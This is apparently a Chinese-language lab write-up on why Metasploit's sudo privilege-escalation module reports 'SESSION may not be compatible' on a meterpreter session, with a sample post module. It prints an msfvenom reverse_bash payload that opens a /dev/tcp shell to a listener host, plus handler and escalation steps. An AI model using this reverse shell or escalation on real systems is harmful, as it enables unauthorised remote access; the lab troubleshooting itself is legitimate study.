03-msf报错(SESSION may not be compatible)

起因:sudo -s提权在msf上一直报错,但是在靶机上是可以成功提权的。

msf有一个模块,叫做post/multi/manage/sudo

看过这个模块的源码,就是使用sudo -s来提权的。

为什么会提权失败呢?

环境配置复现,debug

设置msf监听

handler -H 192.168.123.123 -P 6677 -p cmd/unix/reverse_bash

生成反弹shell的载荷

1
2
3
msfvenom -p cmd/unix/reverse_bash  lhost=192.168.123.123 lport=6677 -f raw      

0<&165-;exec 165<>/dev/tcp/192.168.123.123/6677;sh <&165 >&165 2>&165

设置metapreter session

使用上一条命令获得一个shell cmd/unix类型的shell以后,可以使用session -u session的ID 这种方式,获得一个meterpreter x86/linux的session。

使用meterpreter的session,执行post/multi/manage/sudo提权载荷,会报错。

1
[!] SESSION may not be compatible with this module.

使用shell cmd/unix的载荷不会报错。

查看源码

1
2
3
4
5
vi /usr/share/metasploit-framework/modules/post/multi/manage/sudo.rb

在第32行,如果没有meterpreter这一个关键字,那么就只支持shell类型的session

'SessionTypes' => [ 'meterpreter', 'shell' ]

如何写一个msf插件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::Windows::WMIC

def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Run Specified WMIC Command',
'Description' => %q{ This module will execute a given WMIC command options or read
WMIC commands options from a resource file and execute the commands in the
specified Meterpreter session.},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))

register_options(
[
OptPath.new('RESOURCE', [false, 'Full path to resource file to read commands from.']),
OptString.new('COMMAND', [false, 'WMIC command options.']),
])
end

# Run Method for when run command is issued
def run
print_status("Executing command")
command = wmic_query("useraccount get name")
puts command
end
end